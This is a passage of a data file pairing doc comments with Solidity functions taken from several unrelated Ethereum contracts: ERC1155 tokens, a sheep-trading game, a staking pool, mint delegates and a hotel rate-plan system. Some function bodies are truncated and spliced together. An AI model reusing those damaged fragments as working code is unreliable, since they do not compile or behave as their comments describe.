method if recipient is contract\r\n _callonERC1155Received(address(0x0), _to, _id, _amount, _data);\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @notice Burn tokens of given token id for each (_ids[i], _amounts[i]) pair\r\n * @param _from The address to burn tokens from\r\n * @param _ids Array of token ids to burn\r\n * @param _amounts Array of the amount to be burned\r\n */", "function_code": "function _batchBurn(address _from, uint256[] memory _ids, uint256[] memory _amounts)\r\n internal\r\n {\r\n require(_ids.length == _amounts.length, \"ERC1155MintBurn#batchBurn: INVALID_ARRAYS_LENGTH\");\r\n\r\n // Number of mints to execute\r\n uint256 nBurn = _ids.length;\r\n\r\n // Executing all minting\r\n for (uint256 i = 0; i < nBurn; i++) {\r\n // Update storage balance\r\n balances[_from][_ids[i]] = balances[_from][_ids[i]].sub(_amounts[i]);\r\n }\r\n\r\n // Emit batch mint event\r\n emit TransferBatch(msg.sender, _from, address(0x0), _ids, _amounts);\r\n }", "version": "0.5.17"} {"comment": "/**\r\n \t * @dev Creates a new token type and assigns _initialSupply to an address\r\n \t * @param _maxSupply max supply allowed\r\n \t * @param _initialSupply Optional amount to supply the first owner\r\n \t * @param _data Optional data to pass if receiver is contract\r\n \t * @return The newly created token ID\r\n \t */", "function_code": "function create(\r\n\t\tuint256 _maxSupply,\r\n\t\tuint256 _initialSupply,\r\n\t\tbytes calldata _data\r\n\t) external onlyWhitelistAdmin returns (uint256 tokenId) {\r\n\t\trequire(_initialSupply <= _maxSupply, \"ERC1155Tradable#create: Initial supply cannot be more than max supply\");\r\n\t\tuint256 _id = _getNextTokenID();\r\n\t\t_incrementTokenTypeId();\r\n\t\tcreators[_id] = msg.sender;\r\n\r\n if (bytes(baseMetadataURI).length > 0) {\r\n _logURI(_id);\r\n }\r\n\r\n\t\tif (_initialSupply != 0) _mint(msg.sender, _id, _initialSupply, _data);\r\n\t\ttokenSupply[_id] = _initialSupply;\r\n\t\ttokenMaxSupply[_id] = _maxSupply;\r\n\t\treturn _id;\r\n\t}", "version": "0.5.17"} {"comment": "/**\r\n \t * @dev Mints some amount of tokens to an address\r\n \t * @param _to Address of the future owner of the token\r\n \t * @param _id Token ID to mint\r\n \t * @param _quantity Amount of tokens to mint\r\n \t * @param _data Data to pass if receiver is contract\r\n \t */", "function_code": "function mint(\r\n\t\taddress _to,\r\n\t\tuint256 _id,\r\n\t\tuint256 _quantity,\r\n\t\tbytes memory _data\r\n\t) public onlyMinter {\r\n require(_exists(_id), \"ERC1155Tradable#mint: NONEXISTENT_TOKEN\");\r\n require(_to != address(0), \"ERC1155Tradable#mint: INVALID_RECIPIENT\");\r\n\t\trequire(tokenSupply[_id].add(_quantity) <= tokenMaxSupply[_id], \"ERC1155Tradable#mint: mint supply cannot be more than max supply\");\r\n\r\n\t\t_mint(_to, _id, _quantity, _data);\r\n\t\ttokenSupply[_id] = tokenSupply[_id].add(_quantity);\r\n\t}", "version": "0.5.17"} {"comment": "/**\r\n \t * @dev Burns some amount of tokens from an address\r\n \t * @param _from Address of the owner of the token\r\n \t * @param _id Token ID to burn\r\n \t * @param _quantity Amount of tokens to burn\r\n \t */", "function_code": "function burn(address _from, uint256 _id, uint256 _quantity) public {\r\n require(_exists(_id), \"ERC1155Tradable#burn: NONEXISTENT_TOKEN\");\r\n require(_from == _msgSender() || isApprovedForAll(_from, _msgSender()), \"ERC1155Tradable#burn: caller is not owner nor approved\");\r\n\r\n _burn(_from, _id, _quantity);\r\n tokenSupply[_id] = tokenSupply[_id].sub(_quantity);\r\n }", "version": "0.5.17"} {"comment": "// for upgrade, reset the attributes of ranch", "function_code": "function ranch(uint totalSheepPrice, uint sheepNum) public view onlyForCryptoRanch returns(uint, uint, uint, uint) {\r\n uint ranchGrade = getRanchGrade(sheepNum);\r\n uint ranchSize = getRanchSize(ranchGrade);\r\n uint admissionPrice = getAdmissionPrice(totalSheepPrice);\r\n uint maxProfitability = getMaxProfitability(ranchGrade, admissionPrice);\r\n\r\n return (\r\n ranchGrade,\r\n ranchSize,\r\n admissionPrice,\r\n maxProfitability\r\n );\r\n }", "version": "0.5.12"} {"comment": "// Cancel sell order", "function_code": "function cancelSellOrder(uint sellerID) public onlyForCryptoRanch {\r\n require(isFleshUp == false, \"isFleshUp\");\r\n // id check\r\n uint orderID = orderIDByPID[sellerID];\r\n require(orderID > 0 && sellOrders.length >= orderID, \"Id error!\");\r\n // owner check\r\n Order storage order = sellOrders[orderID];\r\n require(order.ownerID == sellerID, \"no exist\");\r\n\r\n if (global.sheepPrice == 99 finney && order.sheepPrice == 50 finney) {\r\n revert(\"0.099 not allowed cancel 0.1 eth order\");\r\n }\r\n\r\n uint tmpPrice = order.sheepPrice;\r\n // normalize sheep number\r\n uint tmpSheepNum = order.sheepNum.mul(2**(cryptoRanch.getReproductionRound().sub(order.round)));\r\n delete sellOrders[orderID];\r\n\r\n cryptoRanch.addSheepNumber(sellerID, tmpSheepNum, 0, false);\r\n usrPriceSheepNum[tmpPrice] = usrPriceSheepNum[tmpPrice].sub(tmpSheepNum);\r\n\r\n orderIDByPID[sellerID] = 0;\r\n\r\n emit OnOrderCancel(cryptoRanch.getAddrByPID(sellerID), tmpSheepNum, now);\r\n }", "version": "0.5.12"} {"comment": "// find the next price which has sheep", "function_code": "function determineForwardSheepPrice(uint start) private {\r\n for (uint i = start; i < 100 finney; i = i.add(1 finney)) {\r\n if (sysPriceSheepNum[i] > 0 || usrPriceSheepNum[i] > 0) {\r\n global.sheepPrice = i;\r\n return;\r\n }\r\n }\r\n }", "version": "0.5.12"} {"comment": "/* reproduce */", "function_code": "function reproductionStage() private {\r\n // double the sheep & renew the price interval\r\n global.sheepNum = global.sheepNum.mul(2);\r\n global.sysInSaleNum = global.sysInSaleNum.mul(2);\r\n global.sheepPrice = 50 finney;\r\n global.sysSoldNum = 0;\r\n priceCumulativeCount = 56 finney;\r\n isFleshUp = false;\r\n\r\n uint addSheepNum = global.sysInSaleNum.div(50);\r\n uint j = 1;\r\n\r\n global.priceInterval[0] = 50 finney;\r\n\r\n for (uint i = 51 finney; i <= 98 finney; i=i.add(1 finney)) { //99 price just sold out\r\n // double the remaining sheep on the price in range of 51 ~ 98\r\n // 50 price has setup before the reproduction\r\n if (sysPriceSheepNum[i] > 0) sysPriceSheepNum[i] = sysPriceSheepNum[i].mul(2);\r\n if (usrPriceSheepNum[i] > 0) usrPriceSheepNum[i] = usrPriceSheepNum[i].mul(2);\r\n // renew the price interval\r\n if (j <= 6) {\r\n sysPriceSheepNum[i] = sysPriceSheepNum[i].add(addSheepNum);\r\n global.priceInterval[j] = i;\r\n j++;\r\n }\r\n }\r\n\r\n cryptoRanch.addReproductionRound();\r\n reproductionBlkNums.push(block.number);\r\n\r\n emit OnPriceChange(global.sheepPrice, now);\r\n }", "version": "0.5.12"} {"comment": "// a function that allows owner to add", "function_code": "function firstGenerationJoinGame(uint sheepNum) payable public isHuman() isValidSheepNum(sheepNum){\r\n require(whiteList[msg.sender] == true, 'Invalid user');\r\n require(pIDByAddr[msg.sender] == 0, 'Player has joined!');\r\n\r\n uint buyerID = makePlayerID(msg.sender);\r\n uint balance = msg.value;\r\n\r\n usrBook[buyerID].isFirstGeneration = true;\r\n emit OnFirstGenerationJoinGame(msg.sender, sheepNum, balance, now);\r\n\r\n initRanchData(buyerID, sheepNum);\r\n\r\n txSystem.buySheepFromOrders(buyerID, balance, sheepNum, false);\r\n initSalesData(buyerID, usrLastTotalCost[buyerID]);\r\n }", "version": "0.5.12"} {"comment": "// player purchase sheep via the operating capital", "function_code": "function rebuyForSheep(uint sheepNum, uint value) isHuman() playerIsAlive() public{\r\n uint buyerID = pIDByAddr[msg.sender];\r\n require(usrBook[buyerID].rebuy >= value, \"Invalid rebuy value!\");\r\n\r\n uint balance = usrBook[buyerID].isFirstGeneration? value : value.div(2);\r\n\r\n txSystem.buySheepFromOrders(buyerID, balance, sheepNum, true);\r\n uint actualRebuy = usrBook[buyerID].isFirstGeneration? usrLastTotalCost[buyerID] : usrLastTotalCost[buyerID].mul(2);\r\n usrBook[buyerID].rebuy = usrBook[buyerID].rebuy.sub(actualRebuy);\r\n\r\n emit OnReBuy(usrBook[buyerID].addr, sheepNum, actualRebuy, now);\r\n }", "version": "0.5.12"} {"comment": "// Add new sale order to the contract", "function_code": "function addNewSellOrder(uint sheepNum, uint sheepPrice) isHuman() playerIsAlive() public {\r\n uint sellerID = pIDByAddr[msg.sender];\r\n require(sheepNum > 0, \"Not allow zero sheep number\");\r\n require(sheepPrice % (1 finney) == 0, \"Illegal price\");\r\n // normalize the sheep number of seller\r\n normalizeSheepNum(sellerID);\r\n\r\n //the max sheep of order can't exceed the 10% global sheep\r\n uint quo = usrBook[sellerID].sheepNum.div(10);\r\n uint rem = usrBook[sellerID].sheepNum % 10;\r\n if (rem > 0) quo = quo.add(1);\r\n require(usrBook[sellerID].sheepNum >= sheepNum && sheepNum <= quo, \"Unmatched available sell sheep number!\");\r\n\r\n // the accumulated profit can't exceed the max production capacity of ranch\r\n require(usrBook[sellerID].accumulatedProfits.add(sheepNum.mul(sheepPrice)) <= usrBook[sellerID].maxProfitability.div(1000),\r\n \"exceed number to sale\");\r\n\r\n // new sell-order process\r\n txSystem.addNewSellOrder(sellerID, sheepNum, sheepPrice);\r\n }", "version": "0.5.12"} {"comment": "// player base ranch data setup", "function_code": "function initRanchData(uint pID, uint sheepNum) internal{\r\n usrBook[pID].ranchGrade = ranch.getRanchGrade(sheepNum);\r\n usrBook[pID].ranchSize = ranch.getRanchSize(usrBook[pID].ranchGrade);\r\n // grade 0 is invalid for upgrade\r\n if(usrBook[pID].ranchSize == 0) {\r\n usrBook[pID].status = PlayerStatus.OVERLOADED;\r\n } else {\r\n usrBook[pID].status = PlayerStatus.NORMAL;\r\n }\r\n usrBook[pID].weekRound = globalWeekRound;\r\n usrBook[pID].weekSheepCount = 0;\r\n usrBook[pID].round = reproductionRound;\r\n usrBook[pID].joinRound = reproductionRound;\r\n usrBook[pID].profit = 0;\r\n }", "version": "0.5.12"} {"comment": "//renew the week rank data and sort list", "function_code": "function reorderWeekRank(uint pID, uint sheepNum) private {\r\n // renew the enrolled number\r\n usrBook[pID].weekSheepCount = usrBook[pID].weekSheepCount.add(sheepNum);\r\n\r\n bool tmpJudge = false;\r\n int index = -1;\r\n for(uint i = 0; i < 3; i ++) {\r\n if (usrBook[pID].weekSheepCount > usrBook[weekRank[i]].weekSheepCount) {\r\n index = int(i); // record the biggest rank-index of less count\r\n if (tmpJudge) {\r\n uint tmpID = weekRank[i];\r\n weekRank[i] = pID;\r\n weekRank[i-1] = tmpID;\r\n }\r\n }\r\n if (pID == weekRank[i]) tmpJudge = true; // check whether already on list\r\n }\r\n\r\n if (tmpJudge == false) {\r\n for(uint i = 0; int(i) <= index; i++) {\r\n uint tmpID = weekRank[i];\r\n weekRank[i] = pID;\r\n if (i != 0) weekRank[i-1] = tmpID;\r\n }\r\n }\r\n }", "version": "0.5.12"} {"comment": "//Add sheep number of buyer (called from transaction system)", "function_code": "function addSheepNumber(uint pID, uint sheepNum, uint totalCost, bool isBuy) external onlyForTxSystem(){\r\n // normalize sheep number,\r\n normalizeSheepNum(pID);\r\n\r\n usrBook[pID].sheepNum = usrBook[pID].sheepNum.add(sheepNum);\r\n usrLastTotalCost[pID] = totalCost;\r\n emit OnAddSheepNumber(usrBook[pID].addr, sheepNum, totalCost, now);\r\n\r\n // if it's a cancel order or buy\r\n if(isBuy && usrBook[pID].isFirstGeneration == false) {\r\n // distribute commission\r\n distributeCommission(pID, totalCost);\r\n }\r\n }", "version": "0.5.12"} {"comment": "// revenue setting, including 60% profit and 40% operating capital", "function_code": "function processSellerProfit(uint pID, uint revenue) external onlyForTxSystem(){\r\n if (pID == 0) {\r\n ghostProfit = ghostProfit.add(revenue);\r\n emit OnSellerProcessProfit(address(this), revenue, now);\r\n } else {\r\n emit OnSellerProcessProfit(usrBook[pID].addr, revenue, now);\r\n // preprocess to determine whether overload\r\n addAccumulatedValue(pID, revenue);\r\n // sales profit\r\n uint tmpProfit = revenue.mul(60).div(100);\r\n usrBook[pID].profit = usrBook[pID].profit.add(tmpProfit);\r\n\r\n // operating capital\r\n uint tmpRebuy = revenue.sub(tmpProfit);\r\n if (usrBook[pID].status == PlayerStatus.NORMAL) {\r\n usrBook[pID].rebuy = usrBook[pID].rebuy.add(tmpRebuy);\r\n } else {\r\n ghostProfit = ghostProfit.add(tmpRebuy);\r\n }\r\n }\r\n }", "version": "0.5.12"} {"comment": "// add revenue to accumulated profit, determine whether the ranch is overload", "function_code": "function addAccumulatedValue(uint pID, uint revenue) private{\r\n //for test\r\n //emit OnSellerProcessProfit(usrBook[pID].addr, revenue, now);\r\n\r\n usrBook[pID].accumulatedProfits = usrBook[pID].accumulatedProfits.add(revenue);\r\n if (usrBook[pID].status != PlayerStatus.OVERLOADED && usrBook[pID].accumulatedProfits >= usrBook[pID].maxProfitability.div(1000)) {\r\n usrBook[pID].status = PlayerStatus.OVERLOADED;\r\n\r\n txSystem.burnSheepGlobal(usrBook[pID].sheepNum);\r\n\r\n ghostProfit = ghostProfit.add(usrBook[pID].rebuy);\r\n usrBook[pID].rebuy = 0;\r\n }\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @notice Transfer tokens to multiple recipient\r\n * @dev Left 160 bits are the recipient address and the right 96 bits are the token amount.\r\n * @param bits array of uint\r\n * @return true/false\r\n */", "function_code": "function multiTransfer(uint256[] memory bits) external returns (bool) {\r\n for (uint256 i = 0; i < bits.length; i++) {\r\n address a = address(bits[i] >> 96);\r\n uint256 amount = bits[i] & ((1 << 96) - 1);\r\n require(transfer(a, amount), \"Transfer failed\");\r\n }\r\n return true;\r\n }", "version": "0.6.12"} {"comment": "/// @dev Overridden ERC20 transferFrom", "function_code": "function transferFrom(\r\n address sender,\r\n address recipient,\r\n uint256 amount\r\n ) public override returns (bool) {\r\n _transfer(sender, recipient, amount);\r\n _approve(\r\n sender,\r\n _msgSender(),\r\n allowance(sender, _msgSender()).sub(\r\n amount,\r\n \"VSP::transferFrom: transfer amount exceeds allowance\"\r\n )\r\n );\r\n _moveDelegates(delegates[sender], delegates[recipient], amount);\r\n return true;\r\n }", "version": "0.6.12"} {"comment": "//Disburse and End the staking pool", "function_code": "function disburseAndEnd(uint _finalDisburseAmount) public onlyOwner returns (bool){\r\n require(!ended, \"Staking already ended\");\r\n require(_finalDisburseAmount > 0);\r\n \r\n address _hold;\r\n uint _add;\r\n for(uint i = 0; i < holders.length(); i = i.add(1)){\r\n _hold = holders.at(i);\r\n _add = depositedTokens[_hold].mul(_finalDisburseAmount).div(totalDeposited);\r\n pending[_hold] = pending[_hold].add(_add);\r\n }\r\n totalDisbursed = totalDisbursed.add(_finalDisburseAmount);\r\n \r\n ended = true;\r\n return true;\r\n }", "version": "0.8.4"} {"comment": "/*\r\n function withdrawAllAfterEnd() public {\r\n require(ended, \"Staking has not ended\");\r\n \r\n uint _pend = pending[msg.sender];\r\n uint amountToWithdraw = _pend.add(depositedTokens[msg.sender]);\r\n \r\n require(amountToWithdraw >= 0, \"Invalid amount to withdraw\");\r\n pending[msg.sender] = 0;\r\n depositedTokens[msg.sender] = 0;\r\n totalDeposited = totalDeposited.sub(depositedTokens[msg.sender]);\r\n require(Token(tokenAddress).transfer(msg.sender, amountToWithdraw), \"Could not transfer tokens.\");\r\n \r\n totalClaimedRewards = totalClaimedRewards.add(_pend);\r\n totalEarnedTokens[msg.sender] = totalEarnedTokens[msg.sender].add(_pend);\r\n \r\n holders.remove(msg.sender);\r\n \r\n }*/", "function_code": "function getStakersList(uint startIndex, uint endIndex) \r\n public \r\n view \r\n returns (address[] memory stakers, \r\n uint[] memory stakingTimestamps, \r\n uint[] memory lastClaimedTimeStamps,\r\n uint[] memory stakedTokens) {\r\n require (startIndex < endIndex);\r\n \r\n uint length = endIndex.sub(startIndex);\r\n address[] memory _stakers = new address[](length);\r\n uint[] memory _stakingTimestamps = new uint[](length);\r\n uint[] memory _lastClaimedTimeStamps = new uint[](length);\r\n uint[] memory _stakedTokens = new uint[](length);\r\n \r\n for (uint i = startIndex; i < endIndex; i = i.add(1)) {\r\n address staker = holders.at(i);\r\n uint listIndex = i.sub(startIndex);\r\n _stakers[listIndex] = staker;\r\n _stakedTokens[listIndex] = depositedTokens[staker];\r\n }\r\n \r\n return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Give a mint delegate permission to mint tokens.\r\n * @param _mintDelegate The account to be approved.\r\n */", "function_code": "function approveMintDelegate(address _mintDelegate) onlyOwner public returns (bool) {\r\n bool delegateFound = false;\r\n for(uint i=0; i 0);\r\n\r\n address lastDelegate = mintDelegates[length-1];\r\n if(_mintDelegate == lastDelegate) {\r\n delete mintDelegates[length-1];\r\n mintDelegates.length--;\r\n }\r\n else {\r\n // Game plan: find the delegate, replace it with the very last item in the array, then delete the last item\r\n for(uint i=0; i 0);\r\n\r\n address lastDelegate = burnDelegates[length-1];\r\n if(_burnDelegate == lastDelegate) {\r\n delete burnDelegates[length-1];\r\n burnDelegates.length--;\r\n }\r\n else {\r\n // Game plan: find the delegate, replace it with the very last item in the array, then delete the last item\r\n for(uint i=0; i 0);\r\n uint256 vendorId = dataSource.vendorIds(msg.sender);\r\n dataSource.updateBaseInventory(vendorId, _rpid, _inventory);\r\n for (uint256 tindex = 0; tindex < _tokens.length; tindex++) {\r\n dataSource.updateBasePrice(vendorId, _rpid, _tokens[tindex], _prices[tindex]);\r\n }\r\n // Event \r\n emit RatePlanBasePriceChanged(_rpid);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Update inventory assigned to a vendor by `_rpid`, `msg.sender`, `_dates`\r\n * Throw when `msg.sender` is not a vendor\r\n * Throw when `_rpid` not exist\r\n * Throw when `_dates`'s length lte 0\r\n * @param _rpid The rate plan identifier\r\n * @param _dates The prices to be modified of `_dates`\r\n * @param _inventory The amount that can be sold\r\n */", "function_code": "function updateInventories(uint256 _rpid, uint256[] _dates, uint16 _inventory) \r\n external \r\n ratePlanExist(dataSource.vendorIds(msg.sender), _rpid) \r\n returns(bool) {\r\n for (uint256 index = 0; index < _dates.length; index++) {\r\n _updateInventories(_rpid, _dates[index], _inventory);\r\n }\r\n\r\n // Event\r\n emit RatePlanInventoryChanged(_rpid);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Returns the inventories of `_vendor`'s RP(`_rpid`) on `_dates`\r\n * Throw when `_rpid` not exist\r\n * Throw when `_dates`'s count lte 0\r\n * @param _vendorId The vendor Id\r\n * @param _rpid The rate plan identifier\r\n * @param _dates The inventories to be returned of `_dates`\r\n * @return The inventories\r\n */", "function_code": "function inventoriesOfDate(uint256 _vendorId, uint256 _rpid, uint256[] _dates) \r\n external \r\n view\r\n ratePlanExist(_vendorId, _rpid) \r\n returns(uint16[]) {\r\n require(_dates.length > 0);\r\n uint16[] memory result = new uint16[](_dates.length);\r\n for (uint256 index = 0; index < _dates.length; index++) {\r\n uint256 date = _dates[index];\r\n (uint16 inventory,) = dataSource.getInventory(_vendorId, _rpid, date);\r\n result[index] = inventory;\r\n }\r\n return result;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Returns the prices of `_vendor`'s RP(`_rpid`) on `_dates`\r\n * Throw when `_rpid` not exist\r\n * Throw when `_dates`'s count lte 0\r\n * @param _vendorId The vendor Id\r\n * @param _rpid The rate plan identifier\r\n * @param _dates The inventories to be returned of `_dates`\r\n * @param _token The digital currency token\r\n * @return The prices\r\n */", "function_code": "function pricesOfDate(uint256 _vendorId, uint256 _rpid, uint256[] _dates, uint256 _token)\r\n external \r\n view\r\n ratePlanExist(_vendorId, _rpid) \r\n returns(uint256[]) {\r\n require(_dates.length > 0);\r\n uint256[] memory result = new uint256[](_dates.length);\r\n for (uint256 index = 0; index < _dates.length; index++) {\r\n (,, uint256 _price) = dataSource.getPrice(_vendorId, _rpid, _dates[index], _token);\r\n result[index] = _price;\r\n }\r\n return result;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev returns true if the node exists\r\n * @param self stored linked list from contract\r\n * @param _node a node to search for\r\n */", "function_code": "function nodeExists(LinkedList storage self, uint256 _node)\r\n internal\r\n view returns (bool) {\r\n if (self.list[_node][PREV] == HEAD && self.list[_node][NEXT] == HEAD) {\r\n if (self.list[HEAD][NEXT] == _node) {\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n } else {\r\n return true;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Can be used before `insert` to build an ordered list\r\n * @param self stored linked list from contract\r\n * @param _node an existing node to search from, e.g. HEAD.\r\n * @param _value value to seek\r\n * @param _direction direction to seek in\r\n * @return next first node beyond '_node' in direction `_direction`\r\n */", "function_code": "function getSortedSpot(LinkedList storage self, uint256 _node, uint256 _value, bool _direction)\r\n public \r\n view \r\n returns (uint256) {\r\n if (sizeOf(self) == 0) { \r\n return 0; \r\n }\r\n require((_node == 0) || nodeExists(self,_node));\r\n bool exists;\r\n uint256 next;\r\n (exists,next) = getAdjacent(self, _node, _direction);\r\n while ((next != 0) && (_value != next) && ((_value < next) != _direction)) next = self.list[next][_direction];\r\n return next;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Insert node `_new` beside existing node `_node` in direction `_direction`.\r\n * @param self stored linked list from contract\r\n * @param _node existing node\r\n * @param _new new node to insert\r\n * @param _direction direction to insert node in\r\n */", "function_code": "function insert(LinkedList storage self, uint256 _node, uint256 _new, bool _direction) \r\n internal \r\n returns (bool) {\r\n if(!nodeExists(self,_new) && nodeExists(self,_node)) {\r\n uint256 c = self.list[_node][_direction];\r\n createLink(self, _node, _new, _direction);\r\n createLink(self, _new, c, _direction);\r\n self.length++;\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Returns the node list and next node as a tuple\r\n * @param self stored linked list from contract\r\n * @param _node the begin id of the node to get\r\n * @param _limit the total nodes of one page\r\n * @param _direction direction to step in\r\n */", "function_code": "function getNodes(LinkedListLib.LinkedList storage self, uint256 _node, uint256 _limit, bool _direction) \r\n private\r\n view \r\n returns (uint256[], uint256) {\r\n bool exists;\r\n uint256 i = 0;\r\n uint256 ei = 0;\r\n uint256 index = 0;\r\n uint256 count = _limit;\r\n if(count > self.length) {\r\n count = self.length;\r\n }\r\n (exists, i) = self.getAdjacent(_node, _direction);\r\n if(!exists || count == 0) {\r\n return (new uint256[](0), 0);\r\n }else {\r\n uint256[] memory temp = new uint256[](count);\r\n if(_node != 0) {\r\n index++;\r\n temp[0] = _node;\r\n }\r\n while (i != 0 && index < count) {\r\n temp[index] = i;\r\n (exists,i) = self.getAdjacent(i, _direction);\r\n index++;\r\n }\r\n ei = i;\r\n if(index < count) {\r\n uint256[] memory result = new uint256[](index);\r\n for(i = 0; i < index; i++) {\r\n result[i] = temp[i];\r\n }\r\n return (result, ei);\r\n }else {\r\n return (temp, ei);\r\n }\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Authorize `_contract` to execute this contract's funs\r\n * @param _contract The contract address\r\n * @param _name The contract name\r\n */", "function_code": "function authorizeContract(address _contract, string _name) \r\n public \r\n onlyOwner \r\n returns(bool) {\r\n uint256 codeSize;\r\n assembly { codeSize := extcodesize(_contract) }\r\n require(codeSize != 0);\r\n // Not exists\r\n require(authorizedContractIds[_contract] == 0);\r\n\r\n // Add\r\n uint256 id = authorizedContractList.push(false);\r\n authorizedContractIds[_contract] = id;\r\n authorizedContracts[id] = AuthorizedContract(_name, _contract);\r\n\r\n // Event\r\n emit ContractAuthorized(_contract);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Get the rate plan price by `_vendorId`, `_rpid`, `_date` and `_tokenId`\r\n * @param _vendorId The vendor id\r\n * @param _rpid The rate plan id\r\n * @param _date The date desc (20180723)\r\n * @param _tokenId The digital token id\r\n * @return The price info(inventory, init, price)\r\n */", "function_code": "function getPrice(uint256 _vendorId, uint256 _rpid, uint256 _date, uint256 _tokenId) \r\n public\r\n view \r\n returns(uint16 _inventory, bool _init, uint256 _price) {\r\n _inventory = vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory;\r\n _init = vendors[_vendorId].ratePlans[_rpid].prices[_date].init;\r\n _price = vendors[_vendorId].ratePlans[_rpid].prices[_date].tokens[_tokenId];\r\n if(!_init) {\r\n // Get the base price\r\n _inventory = vendors[_vendorId].ratePlans[_rpid].basePrice.inventory;\r\n _price = vendors[_vendorId].ratePlans[_rpid].basePrice.tokens[_tokenId];\r\n _init = vendors[_vendorId].ratePlans[_rpid].basePrice.init;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Get token Info\r\n * @param _tokenId The token id\r\n * @return The token info(symbol, name, decimals)\r\n */", "function_code": "function getToken(uint256 _tokenId)\r\n public \r\n view \r\n returns(string _symbol, string _name, uint8 _decimals, address _token) {\r\n _token = tokenIndexToAddress[_tokenId];\r\n TripioToken tripio = TripioToken(_token);\r\n _symbol = tripio.symbol();\r\n _name = tripio.name();\r\n _decimals = tripio.decimals();\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Update price by `_vendorId`, `_rpid`, `_date`, `_tokenId` and `_price`\r\n * @param _vendorId The vendor id\r\n * @param _rpid The rate plan id\r\n * @param _date The date desc (20180723)\r\n * @param _tokenId The digital token id\r\n * @param _price The price to be updated\r\n */", "function_code": "function updatePrice(uint256 _vendorId, uint256 _rpid, uint256 _date, uint256 _tokenId, uint256 _price)\r\n public\r\n onlyOwnerOrAuthorizedContract {\r\n if (vendors[_vendorId].ratePlans[_rpid].prices[_date].init) {\r\n vendors[_vendorId].ratePlans[_rpid].prices[_date].tokens[_tokenId] = _price;\r\n } else {\r\n vendors[_vendorId].ratePlans[_rpid].prices[_date] = Price(0, true);\r\n vendors[_vendorId].ratePlans[_rpid].prices[_date].tokens[_tokenId] = _price;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Reduce inventories\r\n * @param _vendorId The vendor id\r\n * @param _rpid The rate plan id\r\n * @param _date The date desc (20180723)\r\n * @param _inventory The amount to be reduced\r\n */", "function_code": "function reduceInventories(uint256 _vendorId, uint256 _rpid, uint256 _date, uint16 _inventory) \r\n public \r\n onlyOwnerOrAuthorizedContract {\r\n uint16 a = 0;\r\n if(vendors[_vendorId].ratePlans[_rpid].prices[_date].init) {\r\n a = vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory;\r\n require(_inventory <= a);\r\n vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory = a - _inventory;\r\n }else if(vendors[_vendorId].ratePlans[_rpid].basePrice.init){\r\n a = vendors[_vendorId].ratePlans[_rpid].basePrice.inventory;\r\n require(_inventory <= a);\r\n vendors[_vendorId].ratePlans[_rpid].basePrice.inventory = a - _inventory;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Add inventories\r\n * @param _vendorId The vendor id\r\n * @param _rpid The rate plan id\r\n * @param _date The date desc (20180723)\r\n * @param _inventory The amount to be add\r\n */", "function_code": "function addInventories(uint256 _vendorId, uint256 _rpid, uint256 _date, uint16 _inventory) \r\n public \r\n onlyOwnerOrAuthorizedContract {\r\n uint16 c = 0;\r\n if(vendors[_vendorId].ratePlans[_rpid].prices[_date].init) {\r\n c = _inventory + vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory;\r\n require(c >= _inventory);\r\n vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory = c;\r\n }else if(vendors[_vendorId].ratePlans[_rpid].basePrice.init) {\r\n c = _inventory + vendors[_vendorId].ratePlans[_rpid].basePrice.inventory;\r\n require(c >= _inventory);\r\n vendors[_vendorId].ratePlans[_rpid].basePrice.inventory = c;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Push rate plan to `_vendorId`'s rate plan list\r\n * @param _vendorId The vendor id\r\n * @param _name The name of rate plan\r\n * @param _ipfs The rate plan IPFS address\r\n * @param _direction direction to step in\r\n */", "function_code": "function pushRatePlan(uint256 _vendorId, string _name, bytes32 _ipfs, bool _direction) \r\n public \r\n onlyOwnerOrAuthorizedContract\r\n returns(uint256) {\r\n RatePlan memory rp = RatePlan(_name, uint256(now), _ipfs, Price(0, false));\r\n \r\n uint256 id = vendors[_vendorId].ratePlanList.push(_direction);\r\n vendors[_vendorId].ratePlans[id] = rp;\r\n return id;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Generate room night token\r\n * @param _vendorId The vendor id\r\n * @param _rpid The rate plan id\r\n * @param _date The date desc (20180723)\r\n * @param _token The token id\r\n * @param _price The token price\r\n * @param _ipfs The rate plan IPFS address\r\n */", "function_code": "function generateRoomNightToken(uint256 _vendorId, uint256 _rpid, uint256 _date, uint256 _token, uint256 _price, bytes32 _ipfs)\r\n public \r\n onlyOwnerOrAuthorizedContract \r\n returns(uint256) {\r\n roomnights.push(RoomNight(_vendorId, _rpid, _token, _price, now, _date, _ipfs));\r\n\r\n // Give the token to `_customer`\r\n uint256 rnid = uint256(roomnights.length - 1);\r\n return rnid;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Create rate plan\r\n * Only vendor can operate\r\n * Throw when `_name`'s length lte 0 or mte 100.\r\n * @param _name The name of rate plan\r\n * @param _ipfs The address of the rate plan detail info on IPFS.\r\n */", "function_code": "function createRatePlan(string _name, bytes32 _ipfs) \r\n external \r\n // onlyVendor \r\n returns(uint256) {\r\n // if vendor not exist create it\r\n if(dataSource.vendorIds(msg.sender) == 0) {\r\n dataSource.pushVendor(\"\", 